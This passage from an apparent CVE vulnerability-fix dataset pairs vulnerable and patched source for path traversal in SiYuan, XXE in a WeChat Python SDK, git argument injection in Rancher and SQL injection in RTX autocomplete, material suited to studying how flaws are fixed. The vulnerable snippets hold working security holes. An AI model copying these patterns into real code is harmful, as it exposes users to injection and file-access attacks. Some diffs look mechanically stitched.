filepath.Join(util.WorkspaceDir, resourcePath) // \\u8d44\\u6e90\\u5b8c\\u6574\\u8def\\u5f84\n\t\tif !util.IsAbsPathInWorkspace(resourceFullPath) {\n\t\t\tlogging.LogErrorf(\"resource path [%s] is not in workspace\", resourceFullPath)\n\t\t\terr = errors.New(\"resource path [\" + resourcePath + \"] is not in workspace\")\n\t\t\treturn\n\t\t}\n\n\t\tresourceBaseName := filepath.Base(resourceFullPath)                   // \\u8d44\\u6e90\\u540d\\u79f0\n\t\tresourceCopyPath := filepath.Join(exportFolderPath, resourceBaseName) // \\u8d44\\u6e90\\u526f\\u672c\\u5b8c\\u6574\\u8def\\u5f84\n\t\tif err = filelock.Copy(resourceFullPath, resourceCopyPath); err != nil {\n\t\t\tlogging.LogErrorf(\"copy resource will be exported from [%s] to [%s] failed: %s\", resourcePath, resourceCopyPath, err)\n\t\t\terr = fmt.Errorf(Conf.Language(14), err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tzipFilePath := exportFolderPath + \".zip\" // \\u5bfc\\u51fa\\u7684 *.zip \\u6587\\u4ef6\\u5b8c\\u6574\\u8def\\u5f84\n\tzip, err := gulu.Zip.Create(zipFilePath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"create export zip [%s] failed: %s\", zipFilePath, err)\n\t\treturn\n\t}\n\n\tif err = zip.AddDirectory(mainName, exportFolderPath); err != nil {\n\t\tlogging.LogErrorf(\"create export zip [%s] failed: %s\", exportFolderPath, err)\n\t\treturn\n\t}\n\n\tif err = zip.Close(); err != nil {\n\t\tlogging.LogErrorf(\"close export zip failed: %s\", err)\n\t}\n\n\tos.RemoveAll(exportFolderPath)\n\n\texportFilePath = path.Join(\"temp\", \"export\", mainName+\".zip\") // \\u5bfc\\u51fa\\u7684 *.zip \\u6587\\u4ef6\\u76f8\\u5bf9\\u4e8e\\u5de5\\u4f5c\\u533a\\u76ee\\u5f55\\u7684\\u8def\\u5f84\n\treturn\n}"}, {"id": "fix_go_236_3", "commit": "e70ed57f6e4852e2bd702671aeb8eb3a47a36d71", "file_path": "kernel/model/upload.go", "start_line": 107, "end_line": 299, "snippet": "func Upload(c *gin.Context) {\n\tret := gulu.Ret.NewResult()\n\tdefer c.JSON(200, ret)\n\n\tform, err := c.MultipartForm()\n\tif err != nil {\n\t\tlogging.LogErrorf(\"insert asset failed: %s\", err)\n\t\tret.Code = -1\n\t\tret.Msg = err.Error()\n\t\treturn\n\t}\n\tassetsDirPath := filepath.Join(util.DataDir, \"assets\")\n\tif nil != form.Value[\"id\"] {\n\t\tid := form.Value[\"id\"][0]\n\t\tbt := treenode.GetBlockTree(id)\n\t\tif nil == bt {\n\t\t\tret.Code = -1\n\t\t\tret.Msg = Conf.Language(71)\n\t\t\treturn\n\t\t}\n\t\tdocDirLocalPath := filepath.Join(util.DataDir, bt.BoxID, path.Dir(bt.Path))\n\t\tassetsDirPath = getAssetsDir(filepath.Join(util.DataDir, bt.BoxID), docDirLocalPath)\n\t}\n\n\trelAssetsDirPath := \"assets\"\n\tif nil != form.Value[\"assetsDirPath\"] {\n\t\trelAssetsDirPath = form.Value[\"assetsDirPath\"][0]\n\t\tassetsDirPath = filepath.Join(util.DataDir, relAssetsDirPath)\n\t\tif !util.IsAbsPathInWorkspace(assetsDirPath) {\n\t\t\tret.Code = -1\n\t\t\tret.Msg = \"Path [\" + assetsDirPath + \"] is not in workspace\"\n\t\t\treturn\n\t\t}\n\t}\n\tif !gulu.File.IsExist(assetsDirPath) {\n\t\tif err = os.MkdirAll(assetsDirPath, 0755); err != nil {\n\t\t\tret.Code = -1\n\t\t\tret.Msg = err.Error()\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar errFiles []string\n\tsuccMap := map[string]interface{}{}\n\tfiles := form.File[\"file[]\"]\n\tskipIfDuplicated := false // \\u9ed8\\u8ba4\\u4e0d\\u8df3\\u8fc7\\u91cd\\u590d\\u6587\\u4ef6\\uff0c\\u4f46\\u662f\\u6709\\u7684\\u573a\\u666f\\u9700\\u8981\\u8df3\\u8fc7\\uff0c\\u6bd4\\u5982\\u4e0a\\u4f20 PDF \\u6807\\u6ce8\\u56fe\\u7247 https://github.com/siyuan-note/siyuan/issues/10666\n\tif nil != form.Value[\"skipIfDuplicated\"] {\n\t\tskipIfDuplicated = \"true\" == form.Value[\"skipIfDuplicated\"][0]\n\t}\n\n\tfor _, file := range files {\n\t\tbaseName := file.Filename\n\n\t\tneedUnzip2Dir := false\n\t\tif gulu.OS.IsDarwin() {\n\t\t\tif strings.HasSuffix(baseName, \".rtfd.zip\") {\n\t\t\t\tneedUnzip2Dir = true\n\t\t\t}\n\t\t}\n\n\t\tfName := baseName\n\t\tfName = util.FilterUploadFileName(fName)\n\t\text := filepath.Ext(fName)\n\t\tfName = strings.TrimSuffix(fName, ext)\n\t\text = strings.ToLower(ext)\n\t\tfName += ext\n\t\tf, openErr := file.Open()\n\t\tif nil != openErr {\n\t\t\terrFiles = append(errFiles, fName)\n\t\t\tret.Msg = openErr.Error()\n\t\t\tbreak\n\t\t}\n\n\t\thash, hashErr := util.GetEtagByHandle(f, file.Size)\n\t\tif nil != hashErr {\n\t\t\terrFiles = append(errFiles, fName)\n\t\t\tret.Msg = err.Error()\n\t\t\tf.Close()\n\t\t\tbreak\n\t\t}\n\n\t\tif existAsset := sql.QueryAssetByHash(hash); nil != existAsset {\n\t\t\t// \\u5df2\\u7ecf\\u5b58\\u5728\\u540c\\u6837\\u6570\\u636e\\u7684\\u8d44\\u6e90\\u6587\\u4ef6\\u7684\\u8bdd\\u4e0d\\u91cd\\u590d\\u4fdd\\u5b58\n\t\t\tsuccMap[baseName] = existAsset.Path\n\t\t} else {\n\t\t\tif skipIfDuplicated {\n\t\t\t\t// https://github.com/siyuan-note/siyuan/issues/10666\n\t\t\t\tmatches, globErr := filepath.Glob(assetsDirPath + string(os.PathSeparator) + strings.TrimSuffix(fName, ext) + \"*\")\n\t\t\t\tif nil != globErr {\n\t\t\t\t\tlogging.LogErrorf(\"glob failed: %s\", globErr)\n\t\t\t\t} else {\n\t\t\t\t\tif 0 < len(matches) {\n\t\t\t\t\t\tfName = filepath.Base(matches[0])\n\t\t\t\t\t\tsuccMap[baseName] = strings.TrimPrefix(path.Join(relAssetsDirPath, fName), \"/\")\n\t\t\t\t\t\tf.Close()\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfName = util.AssetName(fName)\n\t\t\twritePath := filepath.Join(assetsDirPath, fName)\n\t\t\ttmpDir := filepath.Join(util.TempDir, \"convert\", \"zip\", gulu.Rand.String(7))\n\t\t\tif needUnzip2Dir {\n\t\t\t\tif err = os.MkdirAll(tmpDir, 0755); err != nil {\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = err.Error()\n\t\t\t\t\tf.Close()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\twritePath = filepath.Join(tmpDir, fName)\n\t\t\t}\n\n\t\t\tif _, err = f.Seek(0, io.SeekStart); err != nil {\n\t\t\t\tlogging.LogErrorf(\"seek failed: %s\", err)\n\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\tret.Msg = err.Error()\n\t\t\t\tf.Close()\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err = filelock.WriteFileByReader(writePath, f); err != nil {\n\t\t\t\tlogging.LogErrorf(\"write file failed: %s\", err)\n\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\tret.Msg = err.Error()\n\t\t\t\tf.Close()\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tf.Close()\n\n\t\t\tif needUnzip2Dir {\n\t\t\t\tbaseName = strings.TrimSuffix(file.Filename, \".rtfd.zip\") + \".rtfd\"\n\t\t\t\tfName = baseName\n\t\t\t\tfName = util.FilterUploadFileName(fName)\n\t\t\t\text = filepath.Ext(fName)\n\t\t\t\tfName = strings.TrimSuffix(fName, ext)\n\t\t\t\text = strings.ToLower(ext)\n\t\t\t\tfName += ext\n\t\t\t\tfName = util.AssetName(fName)\n\t\t\t\ttmpDir2 := filepath.Join(util.TempDir, \"convert\", \"zip\", gulu.Rand.String(7))\n\t\t\t\tif err = gulu.Zip.Unzip(writePath, tmpDir2); err != nil {\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = err.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tentries, readErr := os.ReadDir(tmpDir2)\n\t\t\t\tif nil != readErr {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: %s\", tmpDir2, readErr)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = readErr.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif 1 > len(entries) {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: no entry\", tmpDir2)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = \"no entry\"\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tdirName := entries[0].Name()\n\t\t\t\tsrcDir := filepath.Join(tmpDir2, dirName)\n\t\t\t\tentries, readErr = os.ReadDir(srcDir)\n\t\t\t\tif nil != readErr {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: %s\", filepath.Join(tmpDir2, entries[0].Name()), readErr)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = readErr.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tdestDir := filepath.Join(assetsDirPath, fName)\n\t\t\t\tfor _, entry := range entries {\n\t\t\t\t\tfrom := filepath.Join(srcDir, entry.Name())\n\t\t\t\t\tto := filepath.Join(destDir, entry.Name())\n\t\t\t\t\tif copyErr := gulu.File.Copy(from, to); nil != copyErr {\n\t\t\t\t\t\tlogging.LogErrorf(\"copy [%s] to [%s] failed: %s\", from, to, copyErr)\n\t\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\t\tret.Msg = copyErr.Error()\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tos.RemoveAll(tmpDir)\n\t\t\t\tos.RemoveAll(tmpDir2)\n\t\t\t}\n\n\t\t\tsuccMap[baseName] = strings.TrimPrefix(path.Join(relAssetsDirPath, fName), \"/\")\n\t\t}\n\t}\n\n\tret.Data = map[string]interface{}{\n\t\t\"errFiles\": errFiles,\n\t\t\"succMap\":  succMap,\n\t}\n\n\tIncSync()\n}"}, {"id": "fix_go_236_4", "commit": "e70ed57f6e4852e2bd702671aeb8eb3a47a36d71", "file_path": "kernel/treenode/template.go", "start_line": 32, "end_line": 52, "snippet": "func BuiltInTemplateFuncs() (ret template.FuncMap) {\n\tret = sprig.TxtFuncMap()\n\n\t// \\u56e0\\u4e3a\\u5b89\\u5168\\u539f\\u56e0\\u79fb\\u9664\\u4e00\\u4e9b\\u51fd\\u6570 https://github.com/siyuan-note/siyuan/issues/13426\n\tdelete(ret, \"env\")\n\tdelete(ret, \"expandenv\")\n\tdelete(ret, \"getHostByName\")\n\n\tret[\"Weekday\"] = util.Weekday\n\tret[\"WeekdayCN\"] = util.WeekdayCN\n\tret[\"WeekdayCN2\"] = util.WeekdayCN2\n\tret[\"ISOWeek\"] = util.ISOWeek\n\tret[\"pow\"] = pow\n\tret[\"powf\"] = powf\n\tret[\"log\"] = log\n\tret[\"logf\"] = logf\n\tret[\"parseTime\"] = parseTime\n\tret[\"FormatFloat\"] = FormatFloat\n\tret[\"getHPathByID\"] = getHPathByID\n\treturn\n}"}, {"id": "fix_go_236_5", "commit": "e70ed57f6e4852e2bd702671aeb8eb3a47a36d71", "file_path": "kernel/util/path.go", "start_line": 306, "end_line": 308, "snippet": "func IsAbsPathInWorkspace(absPath string) bool {\n\treturn IsSubPath(WorkspaceDir, absPath)\n}"}], "vul_patch": "--- a/kernel/api/template.go\n+++ b/kernel/api/template.go\n@@ -13,6 +13,12 @@\n \t\treturn\n \t}\n \n+\tif !util.IsAbsPathInWorkspace(p) {\n+\t\tret.Code = -1\n+\t\tret.Msg = \"Path [\" + p + \"] is not in workspace\"\n+\t\treturn\n+\t}\n+\n \tpreview := false\n \tif previewArg := arg[\"preview\"]; nil != previewArg {\n \t\tpreview = previewArg.(bool)\n@@ -24,9 +30,3 @@\n \t\tret.Msg = util.EscapeHTML(err.Error())\n \t\treturn\n \t}\n-\n-\tret.Data = map[string]interface{}{\n-\t\t\"path\":    p,\n-\t\t\"content\": content,\n-\t}\n-}\n\n--- a/kernel/model/export.go\n+++ b/kernel/model/export.go\n@@ -10,7 +10,13 @@\n \n \t// \\u5c06\\u9700\\u8981\\u5bfc\\u51fa\\u7684\\u6587\\u4ef6/\\u6587\\u4ef6\\u5939\\u590d\\u5236\\u5230\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\n \tfor _, resourcePath := range resourcePaths {\n-\t\tresourceFullPath := filepath.Join(util.WorkspaceDir, resourcePath)    // \\u8d44\\u6e90\\u5b8c\\u6574\\u8def\\u5f84\n+\t\tresourceFullPath := filepath.Join(util.WorkspaceDir, resourcePath) // \\u8d44\\u6e90\\u5b8c\\u6574\\u8def\\u5f84\n+\t\tif !util.IsAbsPathInWorkspace(resourceFullPath) {\n+\t\t\tlogging.LogErrorf(\"resource path [%s] is not in workspace\", resourceFullPath)\n+\t\t\terr = errors.New(\"resource path [\" + resourcePath + \"] is not in workspace\")\n+\t\t\treturn\n+\t\t}\n+\n \t\tresourceBaseName := filepath.Base(resourceFullPath)                   // \\u8d44\\u6e90\\u540d\\u79f0\n \t\tresourceCopyPath := filepath.Join(exportFolderPath, resourceBaseName) // \\u8d44\\u6e90\\u526f\\u672c\\u5b8c\\u6574\\u8def\\u5f84\n \t\tif err = filelock.Copy(resourceFullPath, resourceCopyPath); err != nil {\n\n--- a/kernel/model/upload.go\n+++ b/kernel/model/upload.go\n@@ -26,6 +26,11 @@\n \tif nil != form.Value[\"assetsDirPath\"] {\n \t\trelAssetsDirPath = form.Value[\"assetsDirPath\"][0]\n \t\tassetsDirPath = filepath.Join(util.DataDir, relAssetsDirPath)\n+\t\tif !util.IsAbsPathInWorkspace(assetsDirPath) {\n+\t\t\tret.Code = -1\n+\t\t\tret.Msg = \"Path [\" + assetsDirPath + \"] is not in workspace\"\n+\t\t\treturn\n+\t\t}\n \t}\n \tif !gulu.File.IsExist(assetsDirPath) {\n \t\tif err = os.MkdirAll(assetsDirPath, 0755); err != nil {\n\n--- a/kernel/treenode/template.go\n+++ b/kernel/treenode/template.go\n@@ -1,5 +1,11 @@\n func BuiltInTemplateFuncs() (ret template.FuncMap) {\n \tret = sprig.TxtFuncMap()\n+\n+\t// \\u56e0\\u4e3a\\u5b89\\u5168\\u539f\\u56e0\\u79fb\\u9664\\u4e00\\u4e9b\\u51fd\\u6570 https://github.com/siyuan-note/siyuan/issues/13426\n+\tdelete(ret, \"env\")\n+\tdelete(ret, \"expandenv\")\n+\tdelete(ret, \"getHostByName\")\n+\n \tret[\"Weekday\"] = util.Weekday\n \tret[\"WeekdayCN\"] = util.WeekdayCN\n \tret[\"WeekdayCN2\"] = util.WeekdayCN2\n\n--- /dev/null\n+++ b/kernel/treenode/template.go\n@@ -0,0 +1,3 @@\n+func IsAbsPathInWorkspace(absPath string) bool {\n+\treturn IsSubPath(WorkspaceDir, absPath)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-25082", "cve_description": "A vulnerability was found in zwczou WeChat SDK Python 0.3.0 and classified as critical. This issue affects the function validate/to_xml. The manipulation leads to xml external entity reference. The attack may be initiated remotely. Upgrading to version 0.5.5 is able to address this issue. The patch is named e54abadc777715b6dcb545c13214d1dea63df6c9. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-223403.", "cwe_info": {"CWE-611": {"name": "Improper Restriction of XML External Entity Reference", "description": "The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output."}}, "repo": "https://github.com/zwczou/weixin-python", "patch_url": ["https://github.com/zwczou/weixin-python/commit/e54abadc777715b6dcb545c13214d1dea63df6c9"], "programing_language": "Python", "vul_func": [{"id": "vul_py_403_1", "commit": "2539f1ab6fbae79cb9a741c47e317d658d37a080", "file_path": "weixin/msg.py", "start_line": 65, "end_line": 80, "snippet": "    def parse(self, content):\n        raw = {}\n        root = etree.fromstring(content)\n        for child in root:\n            raw[child.tag] = child.text\n\n        formatted = self.format(raw)\n        msg_type = formatted['type']\n        msg_parser = getattr(self, 'parse_{0}'.format(msg_type), None)\n        if callable(msg_parser):\n            parsed = msg_parser(raw)\n        else:\n            parsed = self.parse_invalid_type(raw)\n\n        formatted.update(parsed)\n        return formatted"}, {"id": "vul_py_403_2", "commit": "2539f1ab6fbae79cb9a741c47e317d658d37a080", "file_path": "weixin/pay.py", "start_line": 80, "end_line": 85, "snippet": "    def to_dict(self, content):\n        raw = {}\n        root = etree.fromstring(content.encode(\"utf-8\"))\n        for child in root:\n            raw[child.tag] = child.text\n        return raw"}], "fix_func": [{"id": "fix_py_403_1", "commit": "e54abadc777715b6dcb545c13214d1dea63df6c9", "file_path": "weixin/msg.py", "start_line": 65, "end_line": 81, "snippet": "    def parse(self, content):\n        raw = {}\n        root = etree.fromstring(content,\n                                parser=etree.XMLParser(resolve_entities=False))\n        for child in root:\n            raw[child.tag] = child.text\n\n        formatted = self.format(raw)\n        msg_type = formatted['type']\n        msg_parser = getattr(self, 'parse_{0}'.format(msg_type), None)\n        if callable(msg_parser):\n            parsed = msg_parser(raw)\n        else:\n            parsed = self.parse_invalid_type(raw)\n\n        formatted.update(parsed)\n        return formatted"}, {"id": "fix_py_403_2", "commit": "e54abadc777715b6dcb545c13214d1dea63df6c9", "file_path": "weixin/pay.py", "start_line": 80, "end_line": 86, "snippet": "    def to_dict(self, content):\n        raw = {}\n        root = etree.fromstring(content.encode(\"utf-8\"),\n                                parser=etree.XMLParser(resolve_entities=False))\n        for child in root:\n            raw[child.tag] = child.text\n        return raw"}], "vul_patch": "--- a/weixin/msg.py\n+++ b/weixin/msg.py\n@@ -1,6 +1,7 @@\n     def parse(self, content):\n         raw = {}\n-        root = etree.fromstring(content)\n+        root = etree.fromstring(content,\n+                                parser=etree.XMLParser(resolve_entities=False))\n         for child in root:\n             raw[child.tag] = child.text\n \n\n--- a/weixin/pay.py\n+++ b/weixin/pay.py\n@@ -1,6 +1,7 @@\n     def to_dict(self, content):\n         raw = {}\n-        root = etree.fromstring(content.encode(\"utf-8\"))\n+        root = etree.fromstring(content.encode(\"utf-8\"),\n+                                parser=etree.XMLParser(resolve_entities=False))\n         for child in root:\n             raw[child.tag] = child.text\n         return raw\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-43758", "cve_description": "A Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in SUSE Rancher allows code execution for user with the ability to add an untrusted Helm catalog or modifying the URL configuration used to download KDM (only admin users by default) This issue affects: SUSE Rancher Rancher versions prior to 2.5.17; Rancher versions prior to 2.6.10; Rancher versions prior to 2.7.1.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/rancher/rancher", "patch_url": ["https://github.com/rancher/rancher/commit/af02fbac8702bd8e1cb70addba7783161865c7a4", "https://github.com/rancher/rancher/commit/a230f24f869ddce133d5e36452f9fd5b5c4cc254", "https://github.com/rancher/rancher/commit/6ad4bba7984c86f40b02613d6c587d6a63d3e99d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_237_1", "commit": "502a585", "file_path": "pkg/git/git.go", "start_line": 19, "end_line": 24, "snippet": "func Clone(path, url, branch string) error {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn err\n\t}\n\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", url, path)\n}"}, {"id": "vul_go_237_2", "commit": "502a585", "file_path": "pkg/git/git.go", "start_line": 39, "end_line": 53, "snippet": "func RemoteBranchHeadCommit(url, branch string) (string, error) {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn \"\", err\n\t}\n\tcmd := exec.Command(\"git\", \"ls-remote\", url, branch)\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, string(output))\n\t}\n\tparts := strings.Split(string(output), \"\\t\")\n\tif len(parts) > 0 && len(parts[0]) > 0 {\n\t\treturn parts[0], nil\n\t}\n\treturn \"\", fmt.Errorf(\"no commit found for url %s branch %s\", branch, url)\n}"}, {"id": "vul_go_237_3", "commit": "502a585", "file_path": "pkg/git/git.go", "start_line": 55, "end_line": 61, "snippet": "func IsValid(url string) bool {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn false\n\t}\n\terr := runcmd(\"git\", \"ls-remote\", url)\n\treturn err == nil\n}"}, {"id": "vul_go_237_4", "commit": "502a585", "file_path": "pkg/git/git.go", "start_line": 84, "end_line": 89, "snippet": "func CloneWithDepth(path, url, branch string, depth int) error {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn err\n\t}\n\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", fmt.Sprintf(\"--depth=%v\", depth), url, path)\n}"}], "fix_func": [{"id": "fix_go_237_1", "commit": "af02fbac8702bd8e1cb70addba7783161865c7a4", "file_path": "pkg/git/git.go", "start_line": 19, "end_line": 24, "snippet": "func Clone(path, url, branch string) error {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn err\n\t}\n\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", \"--\", url, path)\n}"}, {"id": "fix_go_237_2", "commit": "af02fbac8702bd8e1cb70addba7783161865c7a4", "file_path": "pkg/git/git.go", "start_line": 39, "end_line": 53, "snippet": "func RemoteBranchHeadCommit(url, branch string) (string, error) {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn \"\", err\n\t}\n\tcmd := exec.Command(\"git\", \"ls-remote\", \"--\", url, branch)\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, string(output))\n\t}\n\tparts := strings.Split(string(output), \"\\t\")\n\tif len(parts) > 0 && len(parts[0]) > 0 {\n\t\treturn parts[0], nil\n\t}\n\treturn \"\", fmt.Errorf(\"no commit found for url %s branch %s\", branch, url)\n}"}, {"id": "fix_go_237_3", "commit": "af02fbac8702bd8e1cb70addba7783161865c7a4", "file_path": "pkg/git/git.go", "start_line": 55, "end_line": 61, "snippet": "func IsValid(url string) bool {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn false\n\t}\n\terr := runcmd(\"git\", \"ls-remote\", \"--\", url)\n\treturn err == nil\n}"}, {"id": "fix_go_237_4", "commit": "af02fbac8702bd8e1cb70addba7783161865c7a4", "file_path": "pkg/git/git.go", "start_line": 84, "end_line": 89, "snippet": "func CloneWithDepth(path, url, branch string, depth int) error {\n\tif err := ValidateURL(url); err != nil {\n\t\treturn err\n\t}\n\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", fmt.Sprintf(\"--depth=%v\", depth), \"--\", url, path)\n}"}], "vul_patch": "--- a/pkg/git/git.go\n+++ b/pkg/git/git.go\n@@ -2,5 +2,5 @@\n \tif err := ValidateURL(url); err != nil {\n \t\treturn err\n \t}\n-\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", url, path)\n+\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", \"--\", url, path)\n }\n\n--- a/pkg/git/git.go\n+++ b/pkg/git/git.go\n@@ -2,7 +2,7 @@\n \tif err := ValidateURL(url); err != nil {\n \t\treturn \"\", err\n \t}\n-\tcmd := exec.Command(\"git\", \"ls-remote\", url, branch)\n+\tcmd := exec.Command(\"git\", \"ls-remote\", \"--\", url, branch)\n \toutput, err := cmd.CombinedOutput()\n \tif err != nil {\n \t\treturn \"\", errors.Wrap(err, string(output))\n\n--- a/pkg/git/git.go\n+++ b/pkg/git/git.go\n@@ -2,6 +2,6 @@\n \tif err := ValidateURL(url); err != nil {\n \t\treturn false\n \t}\n-\terr := runcmd(\"git\", \"ls-remote\", url)\n+\terr := runcmd(\"git\", \"ls-remote\", \"--\", url)\n \treturn err == nil\n }\n\n--- a/pkg/git/git.go\n+++ b/pkg/git/git.go\n@@ -2,5 +2,5 @@\n \tif err := ValidateURL(url); err != nil {\n \t\treturn err\n \t}\n-\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", fmt.Sprintf(\"--depth=%v\", depth), url, path)\n+\treturn runcmd(\"git\", \"clone\", \"-b\", branch, \"--single-branch\", fmt.Sprintf(\"--depth=%v\", depth), \"--\", url, path)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1531", "cve_description": "SQL injection vulnerability in ARAX-UI Synonym Lookup functionality in GitHub repository rtxteam/rtx prior to checkpoint_2022-04-20 . This vulnerability is critical as it can lead to remote code execution and thus complete server takeover.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/rtxteam/rtx", "patch_url": ["https://github.com/rtxteam/rtx/commit/fa2797e656e3dba18f990a2db1f0f029d41f1921"], "programing_language": "Python", "vul_func": [{"id": "vul_py_150_1", "commit": "12b9fa7", "file_path": "code/autocomplete/rtxcomplete.py", "start_line": 29, "end_line": 135, "snippet": "def get_nodes_like(word,requested_limit):\n\n    debug = False\n\n    t0 = timeit.default_timer()\n    requested_limit = int(requested_limit)\n\n    values = []\n    n_values = 0\n\n    if len(word) < 2:\n        return values\n\n    floor = word[:-1]\n    ceiling = floor + 'zz'\n\n    #### Get a list of matching node names that begin with these letters\n    if debug:\n        print(f\"INFO: Query 1\")\n    #cursor.execute(\"SELECT term FROM term WHERE term LIKE \\\"%s%%\\\" ORDER BY length(term),term LIMIT %s\" % (word,1000))\n    cursor.execute(f\"SELECT term FROM terms WHERE term > \\\"{floor}\\\" AND term < \\\"{ceiling}\\\" AND term LIKE \\\"{word}%%\\\" ORDER BY length(term),term LIMIT {requested_limit}\")\n    rows = cursor.fetchall()\n    values_dict = {}\n    for row in rows:\n        term = row[0]\n        if term.upper() not in values_dict:\n            if debug:\n                print(f\"    - {term}\")\n            properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n            values.append(properties)\n            values_dict[term.upper()] = 1\n            n_values += 1\n            if n_values >= requested_limit:\n                break\n    t1 = timeit.default_timer()\n    if debug:\n        print(f\"INFO: Query 1 in {t1-t0} sec\")\n\n    #### If we haven't reached the limit yet, add a list of matching terms that contain this string\n    if n_values < requested_limit:\n        if debug:\n            print(f\"INFO: Query 2\")\n\n        #### See if there is a cached entry already\n        word_part = word\n        found_fragment = None\n        while len(word_part) > 2:\n            cursor.execute(f\"SELECT rowid, fragment FROM cached_fragments WHERE fragment == \\\"{word_part}\\\"\")\n            rows = cursor.fetchall()\n            if len(rows) > 0:\n                fragment_id = rows[0][0]\n                found_fragment = rows[0][1]\n                break\n            word_part = word_part[:-1]\n\n        if found_fragment:\n            if debug:\n                print(f\"Found matching fragment {found_fragment} as fragment_id {fragment_id}\")\n\n            cursor.execute(f\"SELECT term FROM cached_fragment_terms WHERE fragment_id = {fragment_id} AND term LIKE \\\"%%{word}%%\\\"\")\n            rows = cursor.fetchall()\n\n            for row in rows:\n                term = row[0]\n                if term.upper() not in values_dict:\n\n                    if n_values < requested_limit:\n                        if debug:\n                            print(f\"    - {term}\")\n                        properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n                        values.append(properties)\n                        n_values += 1\n\n\n        if found_fragment is None:\n\n            #### Cache this fragment in the database\n            cursor.execute(\"INSERT INTO cached_fragments(fragment) VALUES(?)\", (word,))\n            fragment_id = cursor.lastrowid\n            if debug:\n                print(f\"fragment_id = {fragment_id}\")\n\n            #### Execute an expensive LIKE query\n            cursor.execute(\"SELECT term FROM terms WHERE term LIKE \\\"%%%s%%\\\" ORDER BY length(term),term LIMIT %s\" % (word,10000))\n            rows = cursor.fetchall()\n\n            for row in rows:\n                term = row[0]\n                if term.upper() not in values_dict:\n\n                    if n_values < requested_limit:\n                        if debug:\n                            print(f\"    - {term}\")\n                        properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n                        values.append(properties)\n                        n_values += 1\n\n                    values_dict[term.upper()] = 1\n                    cursor.execute(\"INSERT INTO cached_fragment_terms(fragment_id, term) VALUES(?,?)\", (fragment_id, term,))\n            conn.commit()\n\n        t2 = timeit.default_timer()\n        if debug:\n            print(f\"INFO: Query 2 in {t2-t1} sec\")\n\n\n    return(values)"}], "fix_func": [{"id": "fix_py_150_1", "commit": "fa2797e", "file_path": "code/autocomplete/rtxcomplete.py", "start_line": 30, "end_line": 143, "snippet": "def get_nodes_like(word,requested_limit):\n\n    debug = False\n\n    t0 = timeit.default_timer()\n    requested_limit = int(requested_limit)\n\n    values = []\n    n_values = 0\n\n    if len(word) < 2:\n        return values\n\n    #### Try to avoid SQL injection exploits by sanitizing input #1823\n    word = word.replace('\"','')\n\n    floor = word[:-1]\n    ceiling = floor + 'zz'\n\n    #### 